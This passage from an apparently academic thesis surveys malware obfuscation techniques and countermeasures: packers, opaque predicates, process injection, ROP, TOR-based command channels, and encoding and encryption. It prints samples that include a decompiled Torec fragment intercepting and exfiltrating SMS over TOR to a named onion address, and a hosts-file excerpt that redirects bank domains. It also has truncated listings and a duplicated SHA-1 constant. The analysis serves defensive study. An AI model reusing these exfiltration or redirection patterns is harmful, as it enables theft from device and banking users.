The initial response of malware writers to the scanning approach (e.g. scanning of attachments in mails or HTTP traffic) by anti-virus and intrusion detection systems was to use well-known data archivers such as ZIP, JAR, TAR, etc. in order to evade detection by avoiding suspicion during transport. A zip bomb represents a classical example of a malicious archiver that was designed to cover the crafted payload that in turn was able to crash the program reading it. Popular targets were anti-virus systems that were rendered useless [238]. Although these well-known archivers can be easily unpacked by an analyst as their inverse function is publicly available through the archiving tools themselves, they still are heavily in use.

The use of JAR as a medium for exploitation and malware delivery is popular in Java’s ecosystem as there are security flaws in abundance. Furthermore, custom code-obfuscation techniques such as encryption (see section 3.6.2) are applied to the covered malware asset in order to increase the difficulty of analysis resulting in a delayed detection [35, 289].

#### 3.1.2 Packers

Packing programs, also known as packers, represent wrappers put around software with the main goal to compress and optionally encrypt its content. In addition, they are superior to archivers as they not only cover and compress any data, but also are able to transform an executable to create a new executable. In turn, the new executable stores the transformed executable as data and contains an unpacking stub that is called by the OS. Moreover, the unpacking stub represents the code entry
3.1 Malicious cover

point and is responsible for unpacking the original executable into memory, resolving all of the imports of the original executable and finally transferring the execution to the original entry point (OEP) [202]. What is more, packers have strongly evolved over the last years by introducing heavy use of obfuscation techniques ranging from encryption to tamper-proofing techniques resulting in packers that are challenging to unpack [189]. These obfuscation techniques are described more in detail in the corresponding primitives section, namely in section 3.6 (Malicious map) and 3.9 (Malicious tamper-proofing).

In the mobile world, especially in the realm of Android that unfortunately has become the MS Windows of mobile OSes, packers are getting more and more popular in covering and delivering malware. Examples of seen packers in the malware scene are Pangxie, LIAPP and the online packer service Banglee [155, 194].

3.1.3 Countermeasures

Uncovering malware protected by archivers is not challenging as the inverse functions are well-known and easily accessible. In contrast, overcoming packers is much more difficult. Firstly, one has to detect them successfully. Thereby, this can be either achieved by looking for section names within the packed program, which could reveal the used packer (e.g. UPX0, UPX1 in case of UPX [219]) or watch for other indicators such as few library imports, abnormal section sizes (e.g. size of raw data is 0 whereas the virtual size is non-zero) or high entropy. Secondly, one has to unpack them for getting access to the bytes that represent the malware’s asset. Thereby, there are three unpacking options [202]:

1. *Automated static unpacking*
   Tools such as PE Explorer [80] are able to statically unpack packed programs (e.g. packed via UPX, UPack and NSPack) by restoring the executable to its original state without running it. However, malware authors can thwart this approach by applying implementations of the malicious map (see section 3.6), split & merge (see section 3.3) and tamper-proofing primitive (see section 3.9).

2. *Automated dynamic unpacking*
   This approach is based on running the malicious executable in order to reconstruct the original import table once the unpacking stub has unpacked the original code. The main challenge that has to be mastered by this approach, is to determine where the unpacking stub ends and where the original code starts. Unfortunately, this is a hard problem to solve automatically and therefore calls for manual intervention.

3. *Manual unpacking*
   Self do, self have. In other words, developing manual unpacking skills is the royal road to successfully combating packed malware, but also the most challenging approach. Reverse-engineering and re-programming the inverse function of a packing algorithm is one approach, but rather an inefficient one. The more efficient approach in this case is to delegate the unpacking process to the unpacking stub and dump the process out of memory as soon as the OEP is
3.2 Malicious duplicate

Known. Thereby, finding the OEP is of paramount importance as it represents a program’s first instruction before it was packed. Unfortunately, there is no cook receipt for finding the OEP as its location is usually protected by layers of obfuscation. Therefore, it is inevitable to analyse the code and dissect the applied obfuscations layer by layer. A good start is to look for a so-called tail jump, which is a link to an address that is very far away when compared to the addresses of present and valid instructions of the packed program. This tail jump is often used (e.g. in case of UPX) to transfer the execution to the OEP once the unpacking stub ends its work.

Unfortunately, the packers used for delivering malware tend to be more and more customised resulting in automated unpacking tools that are rendered useless. As packers are malware’s first line of defence and also implement combinations of obfuscation primitives, manual unpacking is therefore inevitable and represents a vital skill that must be developed by any reverse-engineer who wants to fight back malware.

3.2 Malicious duplicate

Malicious duplicate is the abuse of the duplicate primitive introduced in 2.2.2. When applied to malware, this primitive can be used to ensure integrity and availability of the malware’s asset for a limited time. This is achieved either by copying the asset several times in order to make it available at different locations or by adding non-asset related ambiguous code and data with the goal to increase the search space that has to be combed by an analyst. The outcomes are an increase in the difficulty of performing static analysis as well as changes in the byte sequence of the malware resulting in malware instances that are unknown to anti-virus solutions.

3.2.1 Garbage insertion

Garbage insertion is the most popular implementation of the malicious duplicate primitive and is often used in the wild. There are the following two main approaches that are common.

Standalone NOP and NOP-like instructions

No operation (NOP), NOP-like instructions and instruction pairs that act NOP-like have the sole purpose of manipulating the malware’s byte sequence, i.e. to create a new malware instance based on already known and identified samples. Therefore, the new signature is going to be different when compared with the entries of the anti-virus solution’s database. Table 3.1 shows an excerpt of common instructions that are used to create NOP-like behaviour by preserving the malware semantics. Notable are the null operations, which limits are only set by the own imagination, i.e. it is possible to develop any kind of nonsense logic that is in turn cancelled out by the corresponding inverse logic.
<table>
<thead>
<tr>
<th>Instruction</th>
<th>Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>NOP</td>
<td>nop</td>
<td>No operation</td>
</tr>
<tr>
<td></td>
<td>dec cx</td>
<td>Decrement CX</td>
</tr>
<tr>
<td></td>
<td>neg cx</td>
<td>Two’s complement negation of CX</td>
</tr>
<tr>
<td></td>
<td>not cx</td>
<td>One’s complement negation of CX</td>
</tr>
<tr>
<td>Logic &amp; Arithmetic</td>
<td>and dest, 1</td>
<td>Perform logical AND with dest and 1</td>
</tr>
<tr>
<td></td>
<td>test dest, 1</td>
<td>Implicitly perform logical AND with dest and 1</td>
</tr>
<tr>
<td></td>
<td>or dest, 0</td>
<td>Perform logical OR with dest and 0</td>
</tr>
<tr>
<td></td>
<td>xor dest, 0</td>
<td>Perform logical XOR with dest and 0</td>
</tr>
<tr>
<td></td>
<td>shl dest, 0</td>
<td>Perform shift left of dest by 0 bits</td>
</tr>
<tr>
<td></td>
<td>shr dest, 0</td>
<td>Perform shift right of dest by 0 bits</td>
</tr>
<tr>
<td></td>
<td>rol dest, 0</td>
<td>Perform rotate left of dest by 0 bits</td>
</tr>
<tr>
<td></td>
<td>ror dest, 0</td>
<td>Perform rotate right of dest by 0 bits</td>
</tr>
<tr>
<td>Floating Point</td>
<td>fadd dest, 0</td>
<td>Store dest+0 in dest</td>
</tr>
<tr>
<td></td>
<td>fsub dest, 0</td>
<td>Store dest-0 in dest</td>
</tr>
<tr>
<td></td>
<td>fmul dest, 1</td>
<td>Store dest · 1 in dest</td>
</tr>
<tr>
<td></td>
<td>fdiv dest, 1</td>
<td>Store dest:1 in dest</td>
</tr>
<tr>
<td>Null operation</td>
<td>push src; pop src</td>
<td>Perform push src followed by pop</td>
</tr>
<tr>
<td></td>
<td>inc src; dec src</td>
<td>Increment src followed by a decrement</td>
</tr>
<tr>
<td></td>
<td>add dest, n; sub dest, n</td>
<td>Add n to dest followed by subtracting n from dest</td>
</tr>
<tr>
<td></td>
<td>shl dest, n; shr dest, n</td>
<td>Shift dest to the left by n bits followed by a n-bit shift right</td>
</tr>
<tr>
<td></td>
<td>rol dest, n; ror dest, n</td>
<td>Rotate dest to the left by n bits followed by a n-bit rotate right</td>
</tr>
</tbody>
</table>

Table 3.1: NOP and similar instructions - x86 Intel syntax (Sources: [220, 95])
Opaque expressions and predicates

An opaque expression represents an expression whose value is already known to the defender (i.e. to the malware author in this case) at obfuscation time of the malicious software. In contrast, it is difficult for an attacker (i.e. for the analyst in this case) to determine this value statically. Opaque predicates build the most common form of opaque expressions and are thereby restricted to boolean valued expressions. Therefore, their outcome can take the following values [46]:

- **TRUE** in case of an **opaquely true predicate** $P^T$
- **FALSE** in case of an **opaquely false predicate** $P^F$
- sometimes **TRUE** and sometimes **FALSE** in case of an **opaquely indeterminate predicate** $P^?$

Listings 3.1 and 3.2 show examples of opaque expressions and predicates used in the wild. In addition, both cases have been formatted properly due to legibility. The former case represents an opaquely true predicate $P^T$ and can be easily spotted if the MS Windows API is known, especially the function `SetErrorMode`. In this case, the condition on line 4 is always **TRUE** as the function `SetErrorMode` always returns the previous state of the error-mode bit flag [142].

The latter case represents a part of the JavaScript payload used to exploit the Java Zero-Day vulnerability CVE-2012-4681 [226] back in 2012. Furthermore, Dadong’s JSXX was used as JavaScript obfuscator, which makes use of mathematical functions to build opaque expressions as apparent on line 6. In turn, these opaque expressions are used as opaque predicates to obfuscate branch and loop statements [53].

```
1 ...  
2 SetErrorMode(666);  
3 ...  
4 if(SetErrorMode(42) == 666)  
5 {  
6    maliciousLogic();  
7  }  
8 else {  
9    nonMaliciousLogic();  
10  }  
11 ...  
```

Listing 3.1: Misuse of MS WinAPI as an opaquely true predicate (Source: [210, 142])

```
1 ...  
2 fParseInt = parseInt;  
3 ...  
4 fMathPI = Math.PI;  
5 ...  
6 fExpression_eq0 = fParseInt((
```

36
Fortunately, it is not that hard to show that this opaque expression is always $E=0$, i.e. it is always evaluated to the integer 0. By using the divide-and-conquer approach, the expressions on lines 7 to 11 can be evaluated separately:

\[
\begin{align*}
\sim (fMathPI) & \land \sim (fMathPI) = -4 \\
 fMathPI & \land fMathPI = 3 \\
\sim (fMathPI) & \land fMathPI = 0 \\
fMathPI & \land \sim (fMathPI) = 0
\end{align*}
\]

Finally, reassembling the interim values leads to the final expression $E=0$:

\[
\begin{align*}
 fParseInt(\sim (-4) | (3 | 0)) &= fParseInt(\sim (-1)) = fParseInt(0) \\
 &= parseInt(0) = 0
\end{align*}
\]

### 3.2.2 Countermeasures

In practice, anti-virus solutions such as ClamAV \[43\] try to fight NOP and semantic NOP instructions as introduced in section 3.2.1 by using wildcards and regular expressions \[42\]. This approach results in generic signatures, which only focus on viral byte sequences. Semantic NOP byte sequences are therefore ignored. This countermeasure stands and falls with the quality of used wildcards and regular expressions. A bad choice can result in a high false positive rate, i.e. the disassembly of flagged code actually reveals benign rather than viral code. In order to improve the quality of malware signatures, Christodorescu et al. proposed a normalisation approach where NOP and semantic NOP instructions are identified and removed by observing memory content in respect of accessing *hammocks*. Unfortunately, this approach fails if additional obfuscation mechanisms are in place, which hinder a proper disassembly or accurate control flow recovery (see 3.9 Malicious tamper-proofing). Moreover, checking whether a code fragment is a semantic NOP is undecidable \[39\]!

Fighting opaque expressions and opaque predicates statically is very challenging, too. In general, opaque expressions and predicates can be broken as demonstrated in 3.2.1 by following the steps below \[46\]:

1. Locate the instructions that make up an opaque expression or predicate $E$. 
2. Determine the inputs to $E$.

3. Determine the range of the inputs.

4. Determine the outcome of $E$ for all possible argument values.

However, all these steps (1-4) can be additionally obfuscated by a malware writer in order to increase the difficulty of overcoming the implemented opaque expression or predicate. Dalla Preda introduced another approach to break opaqueness, namely by abstract interpretation. Thereby, obfuscating transformations are modelled by abstract domains and formed as lattices that in turn are used to detect opaque predicates. Nevertheless, there are abstract domains that cannot be compared in practice with regards to this approach, because they are incompatible and therefore not comparable [171]. In addition, Kruegel et al. showed that there is a fundamental limit in what can be decided statically by introducing an opaque constant based on the 3SAT problem, which is regarded as a NP-hard problem. Subsequently, this opaque constant was used to obfuscate control flow, data location and data usage of tested malicious binaries. The outcome is thereby that static analysis tools are rendered useless! Therefore, it is believed that the most effective and efficient way to overcome obfuscating transformations based on opaque constructs is to combine static and dynamic analysis approaches with an increasing tendency to dynamic analysis [150].

3.3 Malicious split & merge

Malicious split & merge represents the misuse of the split & merge primitive introduced in section 2.2.3. It can leverage malware by ensuring the asset’s confidentiality for a limited time through mass confusion.

3.3.1 Code splitting and overlapping functions

Whether in web applications, standalone desktop applications or mobile phone applications, code and resource splitting is heavily used and popular with malware writers. Thereby, variable splitting and keyword substitution are used to obfuscate data, i.e. variables and constants are converted into several variables and constants [285]. Furthermore, whole sources and resulting binaries respectively, are swapped out to multiple sources and binaries regardless of the used high level language (e.g. Java, C#, C/C++, ObjectiveC, etc.). Since all fragments may be required by an analyst or scanner to detect the malware instance, this approach clearly increases the difficulty of static analysis as the merging process does not occur until malware’s runtime. Moreover, the merging process depends on the technology used and is explained in the sections below.

Variables and keywords merging

When it comes to web browser based environments, JavaScript is the preferred way to obfuscate and deliver the asset of a malware instance (e.g. its payload) in order
to exploit compromised web sites or also manipulated PDF documents. In addition, the required sources are deployed as multi-partite scripts that are loaded in case of a specific trigger such as the HTML body `onload` event [228]. In case of PDF documents, the sources are stored and retrieved via properties such as `producer` and `title` of the `info` object within a PDF. The actual merging of the variables and keywords finally takes place within the called functions via concatenation [86]. When applied to other languages, the difference just lies in the corresponding syntax used, but the concept of variable splitting and merging remains the same.

### Process and hook injection

When entering the world of Microsoft, there exist malware families and corresponding instances in abundance. Malicious launchers or also known as loaders are excellent examples, which make use of the split and merge primitive. In the wild, the loader is usually split up into the loader itself as well as executables or DLLs that are hidden in the resource section of the Windows PE file format, which typically stores benign data such as icons, images and menus. Provided that the launcher is running with administrator privileges or is able to force a privilege escalation, the merging process of the hidden malicious code with the benign targeted process takes place either by `DLL injection`, `direct process injection` or `hook injection` [202].

When using DLL injection as merging mechanism, the launcher firstly obtains a handle to the victim’s process by using the PID of the targeted process. In turn, the `CreateRemoteThread` [130] function is called to inject the DLL and run the malicious code in the virtual address space of the targeted benign process. Furthermore, it is notable to highlight that the whole malicious behaviour is going to look to originate from the benign process compromised, i.e. the malicious code injected mimics (see also section 3.7 Malicious mimic) the benign process! In contrast, direct process injection does not require a DLL, but is rather based on injecting compiled code or shellcode directly. In addition, there exists also the more efficient way of injection that does not require the creation of a remote thread, namely the use of `Asynchronous Procedure calls (APC)` [127]. In this case, malicious code comes in form of an APC function, that is queued to a benign thread and executed the next time the thread is scheduled.

Misusing Windows hooks is another merging mechanism that is popular with malware writers, especially when deploying keyloggers. Hooks represent a mechanism used to intercept messages released by events that in turn are delegated to the destined applications. Thereby, the actual merging takes place as soon as the targeted process is hooked, which is achieved by misusing the Win API function `SetWindowsHookEx` function [144].

Finally, there exists the concept of `detours` that allows to extend any application easily [131]. Malware writers misuse this concept as merging mechanism by modifying the PE structure of the targeted binary (e.g. `notepad.exe`). Thereby, a new `.detour` section containing the PE header and a new import table is created within the PE structure. The malicious DLL is then referenced in the new import address table and is run as soon as the targeted binary is executed.
3.3 Malicious split & merge

Inline, outline and interleave functions

Function **inlining** is a code optimisation technique, which replaces a function call with its code and thereby destroys abstraction. In contrast, function **outlining** creates a false abstraction by extracting code into its own function. In addition, there is the concept of **interleave** functions that is used to merge the bodies as well as parameter lists of functions and to add an additional parameter in order to be able to differentiate between calls to the corresponding function [48]. At binary level, these approaches are excellent examples of the split and merge primitive used by malware writers to blur the boundaries of functions whose detection is not trivial. **EXEcryptor** [216], for example, is a packer that interleaves the blocks of functions with one another. **Yoda’s Protector** [52] is another packer example, which splits functions up into chunks of only one or two instructions and spreads these around the binary’s code section resulting in potentially overlapping instructions in case of shared code bytes and different starting offsets. Moreover, the semantics of **call** and **ret** are either misused instead of a call to **jmp** in order to mimic additional functions or replaced by other instructions with the goal to create the illusion of fewer functions [189].

Reflection and JNI

The merging mechanism used in high level languages, i.e. dynamic loading of additional code at runtime is an old and well known concept as well as popular with malware writers. Especially in the mobile landscape, it seems that this retro approach becomes more and more adopted as it deceives static analysis by adding an extra layer of obfuscation that has to be peeled by an analyst or scanner [154]. In Android, **Java Reflection** and **Java Native Interface (JNI)** are used to load additional malware code at runtime. **Obad** was named as the Villain of the year 2013 by Kaspersky and is an excellent example of a malware instance that makes extensive use of reflection [19, 100]. On the other hand, **DroidKungFu2** is a great malware sample, which uses a JNI layer in order to obfuscate its communication with a command and control server [58]. Although iOS supports reflection through Objective-C and Swift, Apple forbids and therefore rejects any mobile application using dynamic code loading [92]. Of course, this limitation is only set for the Apple AppStore and cannot be enforced in third party application stores!

3.3.2 Countermeasures

Split and merged variables and keywords in JavaScript delivered malware are not that challenging and can be recovered via reverse-engineering, i.e. by analysing the code and putting the outcomes together. However, standalone split and merged variables and keywords are rarely seen in the wild as they are additionally combined with other obfuscation techniques such as reordering (see section 3.4 Malicious reorder), encoding and encryption (see section 3.6 Malicious map). In order to fight split and merged variables at binary level, Slowinska et al. proposed **Carter**, which is a de-obfuscator able to recover split and merged variables based on measurements.
3.4 Malicious reorder

Malicious reorder represents the malpractice of the reorder primitive introduced in section 2.2.4. When applied to malware, it is able to ensure confidentiality with regards to the malware’s asset for a limited time. Thereby, this can be achieved by permuting the asset itself or its surrounding resulting in confusion.
3.4 Malicious reorder

3.4.1 Code permutation

The probably most popular implementation of the malicious reorder primitive is code reordering. The goal here is to bypass signature based malware detectors by changing the location of instructions in the malicious code while preserving its semantics. This is achieved by either inserting unconditional control flow instructions, i.e. jump instructions or conditional flow instructions at specific positions in order to maintain the original control flow. In addition, the permutation can be randomised, resulting in a large number of malware variations. For example, if we just focus on function reordering, then there are $n!$ possible reordering variations where $n$ represents the number of existing functions [39, 287].

Another emerging implementation of this primitive is the reuse of benign code through control flow manipulation by reordering. This technique is also known as Return-oriented Programming (ROP) exploitation technique and was firstly proposed by Shacham et al. [200]. Thereby, the malware’s asset (i.e. its payload in this case) represented by carefully chosen instruction sequences, also known as gadgets, is covertly executed once the control flow of the targeted and vulnerable binary could be hijacked via its call stack. Furthermore, the diabolic shrewdness is based on retrieving usable gadgets from the existing and benign binary or libraries using the Galileo algorithm and afterwards utilising a large number of instructions ending in ret-like instructions. In turn, the controlled stack in combination with the ret-like instructions can be used to reorder the control flow in order to covertly exploit the targeted vulnerability in the binary or libraries. This technique is very powerful as it is able to bypass DEP, ASLR as well as signature mechanisms. Fortunately, it has not been seen in the wild yet. However, Wang et al. introduced the concept of Jekyll apps on iOS, which exactly makes use of this primitive [231]. Finally, it is notable to highlight that the concept of Jekyll apps is more sophisticated than the classical ROP-based technique as it gives the ultimate control of gadget availability to the attacker.

3.4.2 Countermeasures

Statically determining and removing a reordering transformation can be achieved by using a CFG invariant as proposed by Christodorescu et al [39]. However, this only works if the transformed code can be disassembled and the control flow can be recovered properly. Therefore, malicious code that was also transformed by an implementation of a tamper-proof primitive (see section 3.9), can bypass this countermeasure.

In order to statically fight ROP-based malicious code, one would firstly need to discover the software vulnerabilities in the targeted binary, which is unfortunately an undecidable problem in general [113]! Dynamic analysis does not represent an efficacious remedy neither as it can be circumvented by implementations of the tamper-proof primitive (see section 3.9). In my opinion, the most effective way to overcome such advanced attacks is to harden our systems based on their security mechanisms provided. We are not lost yet, but we really have to take the time in order to properly implement that in practice, which is sadly not done! Moreover,
Malicious indirection abuses the power of the indirect primitive described in section 2.2.5. When implemented in malware, it can ensure confidentiality of the asset to be protected for a limited time. The characteristic of this primitive is that the asset is replaced by a reference to it, which increases the difficulty of directly accessing the asset.

3.5.1 Anonymous and Virtual Private Networks (VPNs)

An emerging approach used to implement the malicious indirection primitive is to protect an asset (i.e. a malicious infrastructure in this case) by placing it in darknets, which are part of the deepweb. Beside confidentiality, darknets also guarantee anonymous and untraceable access to web content as well as hidden services for a limited time. At present, the probably most popular and rising darknet used by malware writers is The Onion Router (TOR) [57]. Other renowned darknets are Internet Invisible Project (I2P), Freenet as well as alternative domain roots, called rogue top-level domains (TLDs) [40]. In case of TOR, the security of the system and the protection implicitly provided to the malware’s asset heavily depends on the mass confusion provided by the network of proxy machines. At the time of writing, the TOR network consisted of 7027 relays and 4179 bridges [177].

The ransomware Cryptowall 2.0 is a great example of a MS Windows malware instance recently discovered that implements the malicious indirection primitive via TOR [5]. On the client side, a complete TOR client is used to obfuscate the command and control channel. In addition, there is not only one onion domain used, but a whole customised onion-based Domain Generation Algorithm (DGA) implemented! Furthermore, malware writers have acquired a taste for using TOR in the mobile world, too. Torec is the first Android malware detected that uses TOR like Cryptowall 2.0 with the goal to obfuscate its command and control channel. Thanks to Mila, I was able to retrieve a sample of Torec from her collection of mobile malware samples by using the password scheme she kindly shared with me [166]. Using Smali [76], dex2jar [162] and finally Java Decompiler (JD) [173] led to successfully recovering parts of Torec. Fortunately, the TOR implementation was visible, too. In listings 3.3 and 3.4, I have highlighted the two most interesting classes, which make use of the TOR implementation on client side.

The class MessageReceiver represents a proprietary BroadcastReceiver that is triggered as soon as an SMS is received. In turn, an instance of SmsProcessor is created that is able to process the commands received from the command and control server. The possible commands are thereby obvious when analysing lines
3.5 Malicious indirection

7 to 15 of the class SmsProcessor in listing 3.4. Torec can intercept incoming and steal outgoing SMSes, perform USSD and send an SMS specified by the command and control instance. When it is time for exfiltration, SmsProcessor delegates this task to TorSender, which is simply a wrapper around Orbot. Orbot is TOR for Android and can be easily integrated into Android apps by using the open source library OnionKit [175] in order to provide TLS over TOR. This seems to be exactly what was done by the malware writer. This can be verified by taking a look into the Torec packages info.guardianproject.onionkit.* and org.torproject.android.service.* that are one-to-one copies of the libraries OnionKit and Orbot respectively. Finally, the exfiltrated data comprises phone number, country, IMEI, model, OS as well as the installed applications, which are assembled in TorSender and sent via TLS over TOR to the hard coded onion domain http://yuwurw46taaep6ip.onion.

```
... public class MessageReceiver extends BroadcastReceiver {
    ...
    public voidonReceive(Context paramContext, Intent paramIntent) {
        while (true) {
            SmsProcessor localSmsProcessor = new SmsProcessor ((String )localMap.get(str), paramContext);
            if (localSmsProcessor.processCommand()) {
                abortBroadcast();
            } else {
                boolean bool1 = localSmsProcessor.needToInterceptIncoming();
                boolean bool2 = localSmsProcessor.needToListen();
                if (bool1) {
                    TorSender.sendInterceptedIncomingSMS(paramContext, (String )localMap.get(str), str);
                    abortBroadcast();
                } else if (bool2) {
                    TorSender.sendListenedIncomingSMS(paramContext, (String )localMap.get(str), str);
                }
            }
        }
    }

Listing 3.3: Fragment of Torec’s com.baseapp.MessageReceiver
```

```
... public class SmsProcessor
```

44
Another interesting approach I have come across that implements the malicious indirection primitive, is the use of a VPN connection. I call this approach malicious inverse indirection as the victim is hijacked and unawarely guided through a malicious VPN connection in order to enter the devil’s realm, i.e. the prepared malicious infrastructure mimicking trusted web servers. Thereby, a manipulated hosts file on client side ensures that the victim is redirected to the IP address spec-
ified in the manipulated hosts file instead of the original one [87].

Listing 3.5 shows an excerpt of the manipulated hosts file found on a hijacked Windows client. Once connected via VPN, the private IP address 10.0.0.7 is used to redirect the victim to the malicious web site prepared in order to mimic the original domains of South Korean banks.

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>. .</td>
</tr>
<tr>
<td>2</td>
<td>10.0.0.7 banking.ibk.co.kr</td>
</tr>
<tr>
<td>3</td>
<td>10.0.0.7 <a href="http://www.kfcc.co.kr">www.kfcc.co.kr</a></td>
</tr>
<tr>
<td>4</td>
<td>10.0.0.7 kfcc.co.kr</td>
</tr>
<tr>
<td>5</td>
<td>. .</td>
</tr>
</tbody>
</table>

Listing 3.5: Manipulated Windows hosts file

### 3.5.2 Countermeasures

Although the use of TOR effectively increases the difficulty of deanonymising, detecting and shutting down a malware asset (e.g. a command and control server) disguised as a hidden service, it is not impossible as it was recently shown by taking down the popular black market, namely Silk Road and Silk Road 2.0! TOR is buggy like any other software and also vulnerable to several passive and active attacks, which were described in the original paper [57]. Furthermore, Biryukov et al. proposed several practical and cost efficient attack methods that exploit two fundamental weaknesses in the implementation of TOR [26]:

1. As TOR relays can cheat and inflate their bandwidth, they can become more likely to be chosen by the path selection algorithm, i.e. they become predictable.

2. The technique called shadowing can phase relays in and out at will that in turn can lead to Sybil attacks.

This is a great example of the paradox that we try to fight against in information security. In general, we (the good guys) would like to have secure systems, but also be able to break the systems of the bad guys. However, as the bad guys also use the same technologies and mechanisms, breaking their systems would also lead to the failure of our systems. In addition, who defines what is good and what is bad? The frontier is blurry, so let us call it conflict of interests in order to be neutral.

### 3.6 Malicious map

Malicious map plays the malpractice of the map primitive presented in section 2.2.6. When applied to malware, the asset to be protected is mapped to something different in order to become unintelligible to an analyst or detector. The result is mass confusion that leads to the achievement of the asset’s confidentiality for a limited time.
3.6 Malicious map

3.6.1 Data encoding

Data encoding is a popular implementation of the malicious map primitive and converts an initially chosen representation of data to another representation of data that is harder to analyse for the opponent, i.e. the malware analyst or detector in this case. In addition, encoding schemes usually consist of two functions, namely encode and decode and therefore are reversible [46].

When analysing malware, the most common standard encodings encountered in the wild, are probably Unicode [104] and Base64 [98] encodings. Otherwise, proprietary encoding schemes or whole layers of encoding schemes are more and more used. As Base64 is usually implemented by using indexing strings, a tell-tale string as shown in listing 3.6 is used to define the required alphabet. In this case for example, a malware writer can easily create a new encoding scheme by permuting the alphabet resulting in \( 2^{296} \approx 2^{296} \) different variations of Base64 implementations as the length of the alphabet \( A = \{ [A - Z], [a - z], [0 - 9], +, / \} \) is obviously \( |A| = 64 \). Therefore, finding the decoding algorithm without knowing the tell-tale string representing the used alphabet would be as hard as brute forcing the key space of a 296 bit key!

```
... base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ
 abcdefghijklmnopqrstuvwxyz
 0123456789+/

 # Permutation 1
 custom_1 = "BCDEFGHIJKLMNOPQRSTUVWXYZ
 abcdefghijklmnopqrstuvwxyz
 0123456789+/A"

 # Permutation 2
 custom_2 = "CDEFGHIJKLMNOPQRSTUVWXYZ
 abcdefghijklmnopqrstuvwxyz
 0123456789+/AB"

 ...  
 # Permutation n
 custom_n = "ABCDEFGHIJKLMNOPQRSTUVWXYZ
 abcdefghijklmnopqrstuvwxyz
 0123456789+/7R"
```

Listing 3.6: Creating proprietary Base64 implementations

What is more, when it comes to custom encoding schemes in the mobile world, Schlegel et al. have demonstrated in their work that there are no limits in creating proprietary encoding schemes for malicious purposes. Soundcomber is an Android based trojan that uses different encoding schemes in order to achieve a stealthy data transmission. The encoding schemes are thereby based on notifications that are triggered by changes in either vibration settings, volume settings, screen states or file locks and sent between the OS and the installed applications [196].
3.6.2 Encryption

Encryption is the other popular implementation of the malicious map primitive. Similar to the encoding process, encryption transforms a understandable representation of data to another representation that is unintelligible to an analyst or detector. In contrast to encoding, this transformation is also influenced by a secret key (i.e. symmetric key in case of secret key cryptography and asymmetric key pair in case of public key cryptography). Table 3.2 shows the most common encryption algorithms used in the wild including the mobile landscape.

*BackOff* is an excellent example of a malware instance that implements proprietary encryption functionality whereas *Geinimi* and *DroidKungFu* represent great samples of mobile malware instances, which use modern cryptographic algorithms, i.e. DES in the former and AES in the latter case [13, 15].

3.6.3 Countermeasures

Fortunately, fighting the malicious map primitive is not that challenging as expected. Standard encoding and encryption algorithms usually reveal characteristics that can be statically identified. In addition, encryption implementations lack of proper key management due to the nature of malware.

Now, let us start with the standard cases. Base64 can be easily detected by an expert eye as the alphabet is known as well as the padding character, namely {=}. Furthermore, the length of a correctly padded Base64 object is always divisible by four. However, malware writers misuse the fact that the padding character is optional by removing it that in turn results in failure of standard Base64 libraries [202]. In case of Unicode implementations such as UTF-8 and UTF-16, established libraries like *ICU* [172] can be used.

When it comes to the detection and recovery of assets protected by the use of standard cryptographic algorithms, we firstly need to identify the libraries and algorithms used and secondly the secret key applied. In order to succeed, the following recipe can be used:

1. **Strings and imports**
   A very first approach to identify the usage of a standard cryptographic library within a malware sample is to extract the strings that are visible as libraries such as OpenSSL [174] are usually statically linked to the malware. Another approach is to statically analyse the imported functions used. In case of Windows based malware, cryptographic functions such as *CryptEncrypt* and *CryptDecrypt* are provided via *MS CryptoAPI (CAPI)*, which implementations reside within the *Advapi32* library [125].

2. **Nothing up my sleeve numbers**
   These numbers, also known as *magic constants*, are used to demonstrate that the constants used for initialisation and round computations of hashes and ciphers are chosen without a malicious intent, i.e. in order to not open a back door [249]. Thereby, these constants can be used to reveal the used algorithm within a cryptographic operation. *FindCrypt2* is a plug-in for *IDA*
<table>
<thead>
<tr>
<th>Cipher type</th>
<th>Algorithm</th>
<th>Remarks</th>
</tr>
</thead>
<tbody>
<tr>
<td>Simple</td>
<td>Caesar</td>
<td>Encrypts the asset by shifting the asset’s representation three units to the right.</td>
</tr>
<tr>
<td></td>
<td>ROT-n</td>
<td>A generalisation of the Caesar cipher that encrypts the asset by shifting its representation ( n ) units to the right.</td>
</tr>
<tr>
<td></td>
<td>XOR</td>
<td>A static byte value that encrypts the asset’s representation by performing a logical XOR.</td>
</tr>
<tr>
<td>Modern</td>
<td>DES</td>
<td>Encrypts the asset by using DES and a 56-bit static key (excluding 8 bits for parity).</td>
</tr>
<tr>
<td></td>
<td>AES</td>
<td>Encrypts the asset by using AES (i.e. Rijndael) by using either a 128-, 192-, or 256-bit static key.</td>
</tr>
<tr>
<td></td>
<td>IDEA</td>
<td>Encrypts the asset by using IDEA and a 128-bit static key. In addition, there are no <em>nothing up my sleeve numbers</em> available.</td>
</tr>
<tr>
<td></td>
<td>RC4</td>
<td>The asset is encrypted by using RC4 and a static key between 40 and 2048 bits. Here, there are no <em>nothing up my sleeve numbers</em> available neither.</td>
</tr>
<tr>
<td>Proprietary</td>
<td>Null-preserving XOR</td>
<td>Same as XOR except that single bytes that are NULL or equal to the static key are skipped in order to ensure that the static key is not leaked to the analyst.</td>
</tr>
<tr>
<td></td>
<td>Tandem</td>
<td>Simple operations such as ADD/SUB and ROL/ROR are used to create reversible methods representing the encryption and decryption function respectively.</td>
</tr>
<tr>
<td></td>
<td>Self-made</td>
<td>This kind of algorithm is only limited by the malware writer’s horizon and could consist of any complex building block.</td>
</tr>
</tbody>
</table>

Table 3.2: Overview of common encryption algorithms used in the wild (Sources: [16, 202])
3.6 Malicious map

[82], which makes use of these tell-tale numbers. Listing 3.7 shows an excerpt of FindCrypt2’s implementation containing the magic constants used to initialise SHA-1 [63]. Nevertheless, it must be noted that not all standard algorithms can be detected in this way as they do not contain any magic constants.

```c
#include <pro.h>
#include "findcrypt.hpp"
... 
static const word32 SHA_1[] =
{
  0x67452301L,
  0xEFCDAB89L,
  0x98BADCFEL,
  0x10325476L,
  0xC3D2E1F0L,
  0xC3D2E1F0L,
};
```

Listing 3.7: Fragment of FindCrypt2’s sparse.cpp (Source: [77])

3. Karatsuba multiplication

